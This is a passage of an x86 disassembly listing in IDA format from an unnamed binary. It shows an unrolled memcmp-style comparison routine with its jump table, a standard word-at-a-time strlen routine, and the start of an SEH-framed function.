		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40BC48
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BC48
; ---------------------------------------------------------------------------

loc_40BC46:				; CODE XREF: sub_40AE7F+D48j
		xor	esi, esi

loc_40BC48:				; CODE XREF: sub_40AE7F+DB6j
					; sub_40AE7F+DC5j
		test	esi, esi
		jnz	loc_40B34B

loc_40BC50:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-16h]	; jumptable 0040B344 case 22
		cmp	edx, [ecx-16h]
		jz	short loc_40BCD5
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40BC78
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BC78:				; CODE XREF: sub_40AE7F+DE2j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40BC99
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BC99:				; CODE XREF: sub_40AE7F+E03j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40BCBA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BCBA:				; CODE XREF: sub_40AE7F+E24j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40BCD7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BCD7
; ---------------------------------------------------------------------------

loc_40BCD5:				; CODE XREF: sub_40AE7F+DD7j
		xor	esi, esi

loc_40BCD7:				; CODE XREF: sub_40AE7F+E45j
					; sub_40AE7F+E54j
		test	esi, esi
		jnz	loc_40B34B

loc_40BCDF:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-12h]	; jumptable 0040B344 case 18
		cmp	edx, [ecx-12h]
		jz	short loc_40BD64
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40BD07
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BD07:				; CODE XREF: sub_40AE7F+E71j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40BD28
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BD28:				; CODE XREF: sub_40AE7F+E92j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40BD49
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BD49:				; CODE XREF: sub_40AE7F+EB3j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40BD66
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BD66
; ---------------------------------------------------------------------------

loc_40BD64:				; CODE XREF: sub_40AE7F+E66j
		xor	esi, esi

loc_40BD66:				; CODE XREF: sub_40AE7F+ED4j
					; sub_40AE7F+EE3j
		test	esi, esi
		jnz	loc_40B34B

loc_40BD6E:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-0Eh]	; jumptable 0040B344 case 14
		cmp	edx, [ecx-0Eh]
		jz	short loc_40BDF3
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40BD96
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BD96:				; CODE XREF: sub_40AE7F+F00j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40BDB7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BDB7:				; CODE XREF: sub_40AE7F+F21j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40BDD8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BDD8:				; CODE XREF: sub_40AE7F+F42j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40BDF5
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BDF5
; ---------------------------------------------------------------------------

loc_40BDF3:				; CODE XREF: sub_40AE7F+EF5j
		xor	esi, esi

loc_40BDF5:				; CODE XREF: sub_40AE7F+F63j
					; sub_40AE7F+F72j
		test	esi, esi
		jnz	loc_40B34B

loc_40BDFD:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-0Ah]	; jumptable 0040B344 case 10
		cmp	edx, [ecx-0Ah]
		jz	short loc_40BE83
		movzx	edx, byte ptr [ecx-0Ah]
		movzx	esi, byte ptr [eax-0Ah]
		sub	esi, edx
		jz	short loc_40BE26
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BE26:				; CODE XREF: sub_40AE7F+F90j
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_40BE47
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BE47:				; CODE XREF: sub_40AE7F+FB1j
		movzx	edx, byte ptr [ecx-8]
		movzx	esi, byte ptr [eax-8]
		sub	esi, edx
		jz	short loc_40BE68
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BE68:				; CODE XREF: sub_40AE7F+FD2j
		movzx	edx, byte ptr [ecx-7]
		movzx	esi, byte ptr [eax-7]
		sub	esi, edx
		jz	short loc_40BE85
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BE85
; ---------------------------------------------------------------------------

loc_40BE83:				; CODE XREF: sub_40AE7F+F84j
		xor	esi, esi

loc_40BE85:				; CODE XREF: sub_40AE7F+FF3j
					; sub_40AE7F+1002j
		test	esi, esi
		jnz	loc_40B34B

loc_40BE8D:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-6]	; jumptable 0040B344 case 6
		cmp	edx, [ecx-6]
		jz	short loc_40BF12
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40BEB5
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BEB5:				; CODE XREF: sub_40AE7F+101Fj
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40BED6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BED6:				; CODE XREF: sub_40AE7F+1040j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40BEF7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BEF7:				; CODE XREF: sub_40AE7F+1061j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40BF14
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BF14
; ---------------------------------------------------------------------------

loc_40BF12:				; CODE XREF: sub_40AE7F+1014j
		xor	esi, esi

loc_40BF14:				; CODE XREF: sub_40AE7F+1082j
					; sub_40AE7F+1091j
		test	esi, esi
		jnz	loc_40B34B

loc_40BF1C:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	dx, [eax-2]	; jumptable 0040B344 case 2
		cmp	dx, [ecx-2]
		jz	loc_40B71E	; default
					; jumptable 0040B344 case 0

loc_40BF2A:				; CODE XREF: sub_40AE7F+14C8j
					; sub_40AE7F+14DBj
		movzx	edx, byte ptr [ecx-2]
		movzx	esi, byte ptr [eax-2]
		sub	esi, edx
		jz	loc_40BB10	; jumptable 0040B344 case 1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	loc_40C360
		jmp	loc_40BB10	; jumptable 0040B344 case 1
; ---------------------------------------------------------------------------

loc_40BF52:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-1Fh]	; jumptable 0040B344 case 31
		cmp	edx, [ecx-1Fh]
		jz	short loc_40BFD8
		movzx	edx, byte ptr [ecx-1Fh]
		movzx	esi, byte ptr [eax-1Fh]
		sub	esi, edx
		jz	short loc_40BF7B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BF7B:				; CODE XREF: sub_40AE7F+10E5j
		movzx	esi, byte ptr [eax-1Eh]
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40BF9C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BF9C:				; CODE XREF: sub_40AE7F+1106j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40BFBD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BFBD:				; CODE XREF: sub_40AE7F+1127j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40BFDA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BFDA
; ---------------------------------------------------------------------------

loc_40BFD8:				; CODE XREF: sub_40AE7F+10D9j
		xor	esi, esi

loc_40BFDA:				; CODE XREF: sub_40AE7F+1148j
					; sub_40AE7F+1157j
		test	esi, esi
		jnz	loc_40B34B

loc_40BFE2:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-1Bh]	; jumptable 0040B344 case 27
		cmp	edx, [ecx-1Bh]
		jz	short loc_40C067
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40C00A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C00A:				; CODE XREF: sub_40AE7F+1174j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40C02B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C02B:				; CODE XREF: sub_40AE7F+1195j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40C04C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C04C:				; CODE XREF: sub_40AE7F+11B6j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40C069
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C069
; ---------------------------------------------------------------------------

loc_40C067:				; CODE XREF: sub_40AE7F+1169j
		xor	esi, esi

loc_40C069:				; CODE XREF: sub_40AE7F+11D7j
					; sub_40AE7F+11E6j
		test	esi, esi
		jnz	loc_40B34B

loc_40C071:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-17h]	; jumptable 0040B344 case 23
		cmp	edx, [ecx-17h]
		jz	short loc_40C0F6
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40C099
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C099:				; CODE XREF: sub_40AE7F+1203j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40C0BA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C0BA:				; CODE XREF: sub_40AE7F+1224j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40C0DB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C0DB:				; CODE XREF: sub_40AE7F+1245j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40C0F8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C0F8
; ---------------------------------------------------------------------------

loc_40C0F6:				; CODE XREF: sub_40AE7F+11F8j
		xor	esi, esi

loc_40C0F8:				; CODE XREF: sub_40AE7F+1266j
					; sub_40AE7F+1275j
		test	esi, esi
		jnz	loc_40B34B

loc_40C100:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-13h]	; jumptable 0040B344 case 19
		cmp	edx, [ecx-13h]
		jz	short loc_40C185
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40C128
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C128:				; CODE XREF: sub_40AE7F+1292j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40C149
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C149:				; CODE XREF: sub_40AE7F+12B3j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40C16A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C16A:				; CODE XREF: sub_40AE7F+12D4j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40C187
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C187
; ---------------------------------------------------------------------------

loc_40C185:				; CODE XREF: sub_40AE7F+1287j
		xor	esi, esi

loc_40C187:				; CODE XREF: sub_40AE7F+12F5j
					; sub_40AE7F+1304j
		test	esi, esi
		jnz	loc_40B34B

loc_40C18F:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-0Fh]	; jumptable 0040B344 case 15
		cmp	edx, [ecx-0Fh]
		jz	short loc_40C215
		movzx	edx, byte ptr [ecx-0Fh]
		movzx	esi, byte ptr [eax-0Fh]
		sub	esi, edx
		jz	short loc_40C1B8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C1B8:				; CODE XREF: sub_40AE7F+1322j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40C1D9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C1D9:				; CODE XREF: sub_40AE7F+1343j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40C1FA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C1FA:				; CODE XREF: sub_40AE7F+1364j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40C217
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C217
; ---------------------------------------------------------------------------

loc_40C215:				; CODE XREF: sub_40AE7F+1316j
		xor	esi, esi

loc_40C217:				; CODE XREF: sub_40AE7F+1385j
					; sub_40AE7F+1394j
		test	esi, esi
		jnz	loc_40B34B

loc_40C21F:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-0Bh]	; jumptable 0040B344 case 11
		cmp	edx, [ecx-0Bh]
		jz	short loc_40C2A4
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40C247
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C247:				; CODE XREF: sub_40AE7F+13B1j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40C268
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C268:				; CODE XREF: sub_40AE7F+13D2j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_40C289
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C289:				; CODE XREF: sub_40AE7F+13F3j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40C2A6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C2A6
; ---------------------------------------------------------------------------

loc_40C2A4:				; CODE XREF: sub_40AE7F+13A6j
		xor	esi, esi

loc_40C2A6:				; CODE XREF: sub_40AE7F+1414j
					; sub_40AE7F+1423j
		test	esi, esi
		jnz	loc_40B34B

loc_40C2AE:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-7]	; jumptable 0040B344 case 7
		cmp	edx, [ecx-7]
		jz	short loc_40C333
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40C2D6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C2D6:				; CODE XREF: sub_40AE7F+1440j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40C2F7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C2F7:				; CODE XREF: sub_40AE7F+1461j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40C318
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40C318:				; CODE XREF: sub_40AE7F+1482j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40C335
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C335
; ---------------------------------------------------------------------------

loc_40C333:				; CODE XREF: sub_40AE7F+1435j
		xor	esi, esi

loc_40C335:				; CODE XREF: sub_40AE7F+14A3j
					; sub_40AE7F+14B2j
		test	esi, esi
		jnz	loc_40B34B

loc_40C33D:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		movzx	esi, byte ptr [eax-3] ;	jumptable 0040B344 case	3
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	loc_40BF2A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	loc_40BF2A

loc_40C360:				; CODE XREF: sub_40AE7F+10C8j
		mov	eax, edx
		jmp	loc_40B720
; ---------------------------------------------------------------------------

loc_40C367:				; CODE XREF: sub_40AE7F+29j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40C38C
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40C479

loc_40C38C:				; CODE XREF: sub_40AE7F+14F6j
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_40C3AD
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40C479

loc_40C3AD:				; CODE XREF: sub_40AE7F+1517j
		movzx	eax, byte ptr [ecx+2]
		movzx	edx, byte ptr [esi+2]
		sub	eax, edx
		jz	short loc_40C3CE
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40C479

loc_40C3CE:				; CODE XREF: sub_40AE7F+1538j
		movzx	eax, byte ptr [ecx+3]
		movzx	ecx, byte ptr [esi+3]

loc_40C3D6:				; CODE XREF: sub_40AE7F+15B7j
					; sub_40AE7F+15E2j ...
		sub	eax, ecx
		jz	loc_40C479
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40C479
; ---------------------------------------------------------------------------

loc_40C3F0:				; CODE XREF: sub_40AE7F+22j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40C411
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40C479

loc_40C411:				; CODE XREF: sub_40AE7F+157Fj
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_40C42E
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40C479

loc_40C42E:				; CODE XREF: sub_40AE7F+159Cj
		movzx	eax, byte ptr [ecx+2]
		movzx	ecx, byte ptr [esi+2]
		jmp	short loc_40C3D6
; ---------------------------------------------------------------------------

loc_40C438:				; CODE XREF: sub_40AE7F+1Bj
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40C459
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40C479

loc_40C459:				; CODE XREF: sub_40AE7F+15C7j
		movzx	eax, byte ptr [ecx+1]
		movzx	ecx, byte ptr [esi+1]
		jmp	loc_40C3D6
; ---------------------------------------------------------------------------

loc_40C466:				; CODE XREF: sub_40AE7F+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]
		jmp	loc_40C3D6
; ---------------------------------------------------------------------------

loc_40C477:				; CODE XREF: sub_40AE7F+Dj
		xor	eax, eax

loc_40C479:				; CODE XREF: sub_40AE7F+8A2j
					; sub_40AE7F+1507j ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AE7F	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_40C47F	dd offset loc_40B71E	; DATA XREF: sub_40AE7F+4C5r
		dd offset loc_40BB10	; jump table for switch	statement
		dd offset loc_40BF1C
		dd offset loc_40C33D
		dd offset loc_40B6A1
		dd offset loc_40BA81
		dd offset loc_40BE8D
		dd offset loc_40C2AE
		dd offset loc_40B612
		dd offset loc_40B9F1
		dd offset loc_40BDFD
		dd offset loc_40C21F
		dd offset loc_40B582
		dd offset loc_40B962
		dd offset loc_40BD6E
		dd offset loc_40C18F
		dd offset loc_40B4F3
		dd offset loc_40B8D3
		dd offset loc_40BCDF
		dd offset loc_40C100
		dd offset loc_40B464
		dd offset loc_40B844
		dd offset loc_40BC50
		dd offset loc_40C071
		dd offset loc_40B3D5
		dd offset loc_40B7B5
		dd offset loc_40BBC1
		dd offset loc_40BFE2
		dd offset loc_40B352
		dd offset loc_40B726
		dd offset loc_40BB32
		dd offset loc_40BF52
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C500	proc near		; CODE XREF: sub_40140A+C6p
					; sub_40140A+CFp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40C530

loc_40C50C:				; CODE XREF: sub_40C500+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40C563
		test	ecx, 3
		jnz	short loc_40C50C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]

loc_40C530:				; CODE XREF: sub_40C500+Aj
					; sub_40C500+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40C530
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40C581
		test	ah, ah
		jz	short loc_40C577
		test	eax, 0FF0000h
		jz	short loc_40C56D
		test	eax, 0FF000000h
		jz	short loc_40C563
		jmp	short loc_40C530
; ---------------------------------------------------------------------------

loc_40C563:				; CODE XREF: sub_40C500+13j
					; sub_40C500+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40C56D:				; CODE XREF: sub_40C500+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40C577:				; CODE XREF: sub_40C500+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40C581:				; CODE XREF: sub_40C500+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C58B	proc near		; CODE XREF: sub_401000+364p
					; sub_4026D7+96p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_4218E0
		call	__SEH_prolog4
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_40C5C4
		call	sub_40F7D4
